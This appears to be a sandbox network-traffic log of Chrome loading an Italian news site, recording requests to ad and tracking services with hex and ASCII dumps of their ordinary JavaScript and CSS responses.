Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:22 UTC	546	OUT	GET /internal-cs/default/beacon.js HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:22 UTC	562	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 4321 Connection: close Date: Wed, 27 Mar 2024 23:02:21 GMT Last-Modified: Thu, 07 Dec 2023 12:02:23 GMT ETag: "77ff4ede4693897337a38594321529a3" x-amz-server-side-encryption: AES256 Cache-Control: max-age=86400 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 ef47ae4ce1b368bee741646b5277e5cc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: R7U8ClOhw7YNyMZY0rsbwnO_3UXtZbaGPkDnEipHfZfyupcZnMvX6Q== Age: 35342
2024-03-28 08:51:22 UTC	3198	IN	Data Raw: 76 61 72 20 43 4f 4d 53 43 4f 52 45 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 6e 2c 72 29 7b 2d 31 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 26 26 28 65 2b 3d 22 3f 22 29 3b 76 61 72 20 74 3d 21 31 3b 28 2d 31 21 3d 65 2e 69 6e 64 65 78 4f 66 28 22 26 22 29 7c 7c 65 2e 6c 65 6e 67 74 68 2d 31 3e 65 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 29 26 26 28 74 3d 21 30 29 3b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 6e 2e 6c 65 6e 67 74 68 3b 2b 2b 61 29 7b 76 61 72 20 69 3d 6e 5b 61 5d 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 69 29 74 26 26 28 65 2b 3d 22 26 22 29 2c 74 3d 21 30 2c 65 2b 3d 63 2b 22 3d 22 2b 6f 28 69 5b 63 5d 2b 22 22 29 7d 72 65 74 75 72 6e 20 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 65 Data Ascii: var COMSCORE=function(e){function n(e,n,r){-1==e.indexOf("?")&&(e+="?");var t=!1;(-1!=e.indexOf("&")\|\|e.length-1>e.indexOf("?"))&&(t=!0);for(var a=0;a<n.length;++a){var i=n[a];for(var c in i)t&&(e+="&"),t=!0,e+=c+"="+o(i[c]+"")}return e=function(e,n){if(e
2024-03-28 08:51:22 UTC	1123	IN	Data Raw: 70 73 3a 22 22 2c 67 64 70 72 5f 70 63 63 3a 22 22 7d 3b 69 66 28 21 65 2e 6d 29 72 65 74 75 72 6e 7b 49 3a 21 30 2c 6d 3a 21 31 2c 50 3a 21 30 2c 6c 61 62 65 6c 73 3a 7b 63 73 5f 63 6d 70 5f 6e 63 3a 31 7d 2c 4d 3a 21 31 2c 4f 3a 21 30 7d 3b 69 66 28 72 5b 22 63 73 5f 63 6d 70 5f 6e 63 22 5d 3d 65 2e 70 3f 31 3a 30 2c 72 5b 22 63 73 5f 63 6d 70 5f 69 64 22 5d 3d 65 2e 75 2c 72 5b 22 63 73 5f 63 6d 70 5f 73 76 22 5d 3d 65 2e 6c 2c 72 5b 22 63 73 5f 63 6d 70 5f 72 74 22 5d 3d 65 2e 76 2c 21 65 2e 43 29 72 65 74 75 72 6e 7b 49 3a 21 30 2c 6d 3a 21 30 2c 50 3a 21 30 2c 6c 61 62 65 6c 73 3a 72 2c 4d 3a 21 30 2c 4f 3a 21 31 7d 3b 69 66 28 72 5b 22 67 64 70 72 22 5d 3d 22 31 22 2c 21 65 2e 5f 29 72 65 74 75 72 6e 7b 49 3a 21 30 2c 6d 3a 21 30 2c 50 3a 21 31 2c Data Ascii: ps:"",gdpr_pcc:""};if(!e.m)return{I:!0,m:!1,P:!0,labels:{cs_cmp_nc:1},M:!1,O:!0};if(r["cs_cmp_nc"]=e.p?1:0,r["cs_cmp_id"]=e.u,r["cs_cmp_sv"]=e.l,r["cs_cmp_rt"]=e.v,!e.C)return{I:!0,m:!0,P:!0,labels:r,M:!0,O:!1};if(r["gdpr"]="1",!e._)return{I:!0,m:!0,P:!1,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.4	50017	3.214.47.126	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:22 UTC	824	OUT	GET /ad/chnl?adCode=cpu32-8qlre&playerWidth=600&playerHeight=450&srcPageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&schain=1.0,1!sunmedia.tv,cf5f115c-45c0-42e6-88f5-1cc147412988,1,,,&gdpr=0&gdpr_consent=1&c1=T1,SM HTTP/1.1 Host: cpu32-zs9v8.ads.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:22 UTC	752	IN	HTTP/1.1 302 Date: Thu, 28 Mar 2024 08:51:22 GMT Content-Length: 0 Connection: close Server: nginx access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' Set-Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; Domain=.tremorhub.com; Expires=Fri, 28-Mar-2025 14:39:42 GMT; Path=/; Secure; SameSite=None Location: https://cpu32-zs9v8.ads.tremorhub.com/ad/chnl?adCode=cpu32-8qlre&playerWidth=600&playerHeight=450&srcPageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&schain=1.0,1!sunmedia.tv,cf5f115c-45c0-42e6-88f5-1cc147412988,1,,,&gdpr=0&gdpr_consent=1&c1=T1,SM&_tur=T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.4	50032	192.0.77.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:22 UTC	572	OUT	GET /likes/style.css?ver=20240208 HTTP/1.1 Host: widgets.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://widgets.wp.com/likes/?ver=13.2.2 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:22 UTC	466	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:22 GMT Content-Type: text/css Content-Length: 6926 Connection: close Vary: Accept-Encoding x-minify: t x-minify-cache: hit etag: W/8019-1707390103807.0776 Expires: Fri, 07 Feb 2025 12:14:46 GMT Cache-Control: max-age=31536000 X-ac: 4.dca _dca MISS Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Timing-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: HIT dca 1
2024-03-28 08:51:22 UTC	903	IN	Data Raw: 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 68 65 69 67 68 74 3a 32 36 70 78 7d 2e 77 70 6c 2d 6c 69 6b 65 62 6f 78 7b 63 6f 6e 74 61 69 6e 65 72 2d 74 79 70 65 3a 69 6e 6c 69 6e 65 2d 73 69 7a 65 7d 2e 77 70 6c 2d 6c 69 6b 65 62 6f 78 2c 2e 77 70 6c 2d 66 6f 6c 6c 6f 77 20 61 2c 2e 77 70 6c 2d 63 6f 75 6e 74 20 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2c 73 61 6e 73 2d 73 65 72 69 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 77 70 6c 2d 62 75 74 74 6f 6e 7b 6d 69 6e 2d 77 69 64 74 68 3a 37 33 70 78 7d 2e 77 70 6c 2d 62 75 74 74 6f 6e 20 61 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e Data Ascii: html{overflow:hidden}body{margin:0;height:26px}.wpl-likebox{container-type:inline-size}.wpl-likebox,.wpl-follow a,.wpl-count a{font-size:11px!important;font-family:"Open Sans",sans-serif!important}.wpl-button{min-width:73px}.wpl-button a{text-decoration:n
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 70 78 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 36 70 78 20 31 36 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 36 70 78 7d 2e 77 70 6c 2d 62 75 74 74 6f 6e 2e 6c 69 6b 65 20 61 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 22 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 2c 25 33 43 73 76 67 20 66 69 6c 6c 3d 27 6e 6f 6e 65 27 20 68 65 69 67 68 74 3d 27 31 36 27 20 76 69 65 77 42 6f 78 3d 27 30 20 30 20 31 38 20 31 36 27 20 77 69 64 74 68 3d 27 31 36 27 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 27 25 33 45 25 33 43 70 61 74 68 20 64 3d 27 6d 39 2e 30 30 30 38 31 20 32 20 31 2e 39 35 36 39 39 20 34 2e 32 36 Data Ascii: px;content:"";background-size:16px 16px;min-width:16px}.wpl-button.like a:before{background-image:url("data:image/svg+xml,%3Csvg fill='none' height='16' viewBox='0 0 18 16' width='16' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='m9.00081 2 1.95699 4.26
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 2c 25 33 43 73 76 67 20 66 69 6c 6c 3d 27 6e 6f 6e 65 27 20 68 65 69 67 68 74 3d 27 31 36 27 20 76 69 65 77 42 6f 78 3d 27 30 20 30 20 31 38 20 31 36 27 20 77 69 64 74 68 3d 27 31 36 27 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 27 25 33 45 25 33 43 70 61 74 68 20 64 3d 27 6d 31 20 30 68 31 36 76 31 36 68 2d 31 36 7a 27 20 66 69 6c 6c 3d 27 25 32 33 66 66 66 27 2f 25 33 45 25 33 43 70 61 74 68 20 64 3d 27 6d 31 36 2e 30 31 36 33 20 35 2e 35 36 35 38 37 2d 31 2e 34 35 31 31 2d 31 2e 34 33 34 31 32 76 38 2e 39 39 33 32 35 63 30 20 2e 37 35 39 37 2d 2e 36 32 32 36 20 31 2e 33 37 35 2d 31 2e 33 39 31 33 20 31 2e 33 37 35 68 2d 34 2e 38 36 39 35 35 76 2d 31 Data Ascii: a:image/svg+xml,%3Csvg fill='none' height='16' viewBox='0 0 18 16' width='16' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='m1 0h16v16h-16z' fill='%23fff'/%3E%3Cpath d='m16.0163 5.56587-1.4511-1.43412v8.99325c0 .7597-.6226 1.375-1.3913 1.375h-4.86955v-1
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 72 65 62 6c 6f 67 20 61 20 73 70 61 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 70 78 7d 2e 72 74 6c 20 2e 77 70 6c 2d 62 75 74 74 6f 6e 2e 6c 69 6b 65 20 61 20 73 70 61 6e 2c 2e 72 74 6c 20 2e 77 70 6c 2d 62 75 74 74 6f 6e 2e 6c 69 6b 65 64 20 61 20 73 70 61 6e 2c 2e 72 74 6c 20 2e 77 70 6c 2d 62 75 74 74 6f 6e 2e 72 65 62 6c 6f 67 20 61 20 73 70 61 6e 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 33 32 30 70 78 29 7b 2e 77 70 6c 2d 62 75 74 74 6f 6e 7b 6d 69 6e 2d 77 69 64 74 68 3a 61 75 74 6f 7d 2e 77 70 6c 2d 62 75 74 74 6f 6e 20 61 2c 2e 72 74 6c 20 2e 77 70 6c 2d 62 75 74 74 6f 6e 20 61 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 30 Data Ascii: reblog a span{margin-left:5px}.rtl .wpl-button.like a span,.rtl .wpl-button.liked a span,.rtl .wpl-button.reblog a span{margin-right:5px}@media only screen and (max-width:320px){.wpl-button{min-width:auto}.wpl-button a,.rtl .wpl-button a{padding-bottom:10
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 39 35 33 4c 32 32 20 39 2e 32 35 37 6c 2d 35 2e 38 32 32 20 34 2e 36 30 32 4c 31 38 2e 31 38 20 32 31 20 31 32 20 31 36 2e 38 39 20 35 2e 38 32 20 32 31 6c 32 2e 30 30 32 2d 37 2e 31 34 4c 32 20 39 2e 32 35 36 6c 37 2e 34 31 38 2d 2e 33 30 34 27 2f 25 33 45 25 33 43 2f 67 25 33 45 25 33 43 2f 73 76 67 25 33 45 22 29 7d 61 2e 63 6f 6d 6d 65 6e 74 2d 6c 69 6b 65 2d 6c 69 6e 6b 3a 68 6f 76 65 72 3a 62 65 66 6f 72 65 2c 61 2e 63 6f 6d 6d 65 6e 74 2d 6c 69 6b 65 64 3a 62 65 66 6f 72 65 2c 64 69 76 2e 63 6f 6d 6d 65 6e 74 2d 6c 69 6b 65 64 20 61 2e 63 6f 6d 6d 65 6e 74 2d 6c 69 6b 65 2d 6c 69 6e 6b 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 22 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 2c 25 33 43 73 76 67 Data Ascii: 953L22 9.257l-5.822 4.602L18.18 21 12 16.89 5.82 21l2.002-7.14L2 9.256l7.418-.304'/%3E%3C/g%3E%3C/svg%3E")}a.comment-like-link:hover:before,a.comment-liked:before,div.comment-liked a.comment-like-link:before{background-image:url("data:image/svg+xml,%3Csvg
2024-03-28 08:51:22 UTC	547	IN	Data Raw: 2e 72 74 6c 20 2e 77 70 6c 2d 6c 69 6b 65 62 6f 78 20 2e 77 70 6c 2d 61 76 61 74 61 72 73 20 6c 69 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 70 78 7d 2e 77 70 6c 2d 6c 69 6b 65 62 6f 78 20 2e 77 70 6c 2d 61 76 61 74 61 72 73 20 6c 69 20 61 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 3a 30 7d 2e 77 70 6c 2d 6c 69 6b 65 62 6f 78 20 2e 77 70 6c 2d 61 76 61 74 61 72 73 20 6c 69 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 63 68 69 6c 64 29 20 61 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 34 70 78 7d 2e 72 74 6c 20 2e 77 70 6c 2d 6c 69 6b 65 62 6f 78 20 2e 77 70 6c 2d 61 76 61 74 61 72 73 20 6c 69 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 63 68 69 6c 64 29 20 61 7b 6d 61 72 67 69 6e 2d 6c Data Ascii: .rtl .wpl-likebox .wpl-avatars li{margin-bottom:10px;margin-top:1px}.wpl-likebox .wpl-avatars li a{position:relative;margin:0}.wpl-likebox .wpl-avatars li:not(:first-child) a{margin-right:-4px}.rtl .wpl-likebox .wpl-avatars li:not(:first-child) a{margin-l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.4	50030	152.199.6.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	729	OUT	GET /iframe/sync.html?key=all&src=products.js&ref=bsnews.it HTTP/1.1 Host: cstatic.weborama.fr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	430	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Age: 366006 Cache-Control: max-age=604800 Content-Type: text/html Date: Thu, 28 Mar 2024 08:51:23 GMT Etag: "282943589+gzip+ident" Expires: Thu, 04 Apr 2024 08:51:23 GMT Last-Modified: Mon, 20 Sep 2021 08:52:49 GMT P3P: CP="NOI DSP COR CURa DEVa PSAa OUR STP UNI DEM" Server: ECAcc (dcd/7D6F) Vary: Accept-Encoding X-Cache: HIT Content-Length: 336 Connection: close
2024-03-28 08:51:23 UTC	336	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 65 78 74 65 72 6e 61 6c 5f 6c 69 62 73 2e 76 32 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 43 6f 6e 66 69 67 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6f 6b 69 65 50 72 65 66 69 78 3a 20 27 5f 78 74 74 72 6b 32 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6f 6b 69 65 4c 69 66 65 74 69 6d 65 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 Data Ascii: <html><head> <script type="text/javascript" src="external_libs.v2.js"></script></head><body> <script type="text/javascript"> var Config = { cookiePrefix: '_xttrk2', cookieLifetime: 3, }; (funct

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.4	50028	172.67.38.106	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	527	OUT	GET /api/1.0/id5-api.js HTTP/1.1 Host: cdn.id5-sync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	610	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:23 GMT Content-Type: text/javascript;charset=utf-8 Content-Length: 94098 Connection: close x-amz-id-2: V1nmEnBOkWd6LxjFTq5TMd4doFikwC4cjIKGTNSefayndceQhCopQ2w6ld8ShGRhS+q9w5Lc9OE= x-amz-request-id: VXKEVCP4ZQ8Q7Y1G Last-Modified: Wed, 20 Mar 2024 11:38:58 GMT ETag: "f162f0b97c89da6502a32c3c1206d74e" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=3600 CF-Cache-Status: HIT Age: 1271 Accept-Ranges: bytes Strict-Transport-Security: max-age=15552000; includeSubDomains; preload Server: cloudflare CF-RAY: 86b660c5af723886-IAD
2024-03-28 08:51:23 UTC	759	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 40 69 64 35 69 6f 2f 69 64 35 2d 61 70 69 2e 6a 73 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 76 31 2e 30 2e 36 33 0a 20 2a 20 40 6c 69 6e 6b 20 68 74 74 70 73 3a 2f 2f 69 64 35 2e 69 6f 2f 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 41 70 61 63 68 65 2d 32 2e 30 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 76 61 72 20 72 2c 69 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 26 26 28 72 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 74 29 2c 65 26 26 28 72 3d 72 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f Data Ascii: /** * @id5io/id5-api.js * @version v1.0.63 * @link https://id5.io/ * @license Apache-2.0 */!function(){"use strict";function i(t,e){var r,i=Object.keys(t);return Object.getOwnPropertySymbols&&(r=Object.getOwnPropertySymbols(t),e&&(r=r.filter(functio
2024-03-28 08:51:23 UTC	1369	IN	Data Raw: 6f 69 64 20 72 28 65 29 7d 61 2e 64 6f 6e 65 3f 74 28 63 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 63 29 2e 74 68 65 6e 28 69 2c 73 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6f 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 76 61 72 20 69 3d 61 2e 61 70 70 6c 79 28 65 2c 6f 29 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 63 28 69 2c 74 2c 72 2c 73 2c 6e 2c 22 6e 65 78 74 22 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 63 28 69 2c 74 2c 72 2c 73 2c 6e 2c 22 74 68 72 6f 77 22 2c 65 29 7d 73 28 76 6f 69 64 20 30 29 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 Data Ascii: oid r(e)}a.done?t(c):Promise.resolve(c).then(i,s)}function s(a){return function(){var e=this,o=arguments;return new Promise(function(t,r){var i=a.apply(e,o);function s(e){c(i,t,r,s,n,"next",e)}function n(e){c(i,t,r,s,n,"throw",e)}s(void 0)})}}function l(e
2024-03-28 08:51:23 UTC	1369	IN	Data Raw: 72 3d 6e 75 6c 6c 3d 3d 65 3f 6e 75 6c 6c 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 75 6c 6c 21 3d 72 29 7b 76 61 72 20 69 2c 73 2c 6e 2c 6f 2c 61 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 3b 74 72 79 7b 69 66 28 6e 3d 28 72 3d 72 2e 63 61 6c 6c 28 65 29 29 2e 6e 65 78 74 2c 30 3d 3d 3d 74 29 7b 69 66 28 4f 62 6a 65 63 74 28 72 29 21 3d 3d 72 29 72 65 74 75 72 6e 3b 63 3d 21 31 7d 65 6c 73 65 20 66 6f 72 28 3b 21 28 63 3d 28 69 3d 6e 2e 63 61 6c 6c 28 72 29 29 2e 64 6f 6e 65 29 26 26 28 61 2e 70 75 73 68 28 69 2e 76 61 6c 75 65 29 2c 61 2e 6c 65 6e 67 74 68 21 3d 3d 74 29 3b 63 3d 21 30 29 3b 7d Data Ascii: r=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]\|\|e["@@iterator"];if(null!=r){var i,s,n,o,a=[],c=!0,l=!1;try{if(n=(r=r.call(e)).next,0===t){if(Object(r)!==r)return;c=!1}else for(;!(c=(i=n.call(r)).done)&&(a.push(i.value),a.length!==t);c=!0);}
2024-03-28 08:51:23 UTC	1369	IN	Data Raw: 74 20 68 61 76 65 20 61 20 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 20 6d 65 74 68 6f 64 2e 22 29 7d 76 61 72 20 73 2c 6e 3d 21 30 2c 6f 3d 21 31 3b 72 65 74 75 72 6e 7b 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 3d 72 2e 63 61 6c 6c 28 65 29 7d 2c 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 72 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 6e 3d 65 2e 64 6f 6e 65 2c 65 7d 2c 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 3d 21 30 2c 73 3d 65 7d 2c 66 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 6e 7c 7c 6e 75 6c 6c 3d 3d 72 2e 72 65 74 75 72 6e 7c 7c 72 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 6f 29 74 68 72 6f 77 20 73 7d 7d 7d 7d 63 6c 61 73 73 20 65 7b 64 65 62 75 67 28 29 7b 7d 69 6e 66 6f 28 29 7b 7d Data Ascii: t have a [Symbol.iterator]() method.")}var s,n=!0,o=!1;return{s:function(){r=r.call(e)},n:function(){var e=r.next();return n=e.done,e},e:function(e){o=!0,s=e},f:function(){try{n\|\|null==r.return\|\|r.return()}finally{if(o)throw s}}}}class e{debug(){}info(){}
2024-03-28 08:51:23 UTC	1369	IN	Data Raw: 74 4d 65 73 73 61 67 65 28 65 29 7b 76 61 72 20 74 3d 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3b 72 65 74 75 72 6e 20 6e 65 77 20 76 28 44 61 74 65 2e 6e 6f 77 28 29 2c 74 68 69 73 2e 5f 73 65 6e 64 65 72 49 64 2c 5f 2c 2b 2b 74 68 69 73 2e 5f 6d 65 73 73 61 67 65 53 65 71 4e 62 2c 65 2c 74 7c 7c 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 29 7d 63 72 65 61 74 65 52 65 73 70 6f 6e 73 65 28 65 2c 74 29 7b 76 61 72 20 72 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 Data Ascii: tMessage(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:e.constructor.name;return new v(Date.now(),this._senderId,_,++this._messageSeqNb,e,t\|\|e.constructor.name)}createResponse(e,t){var 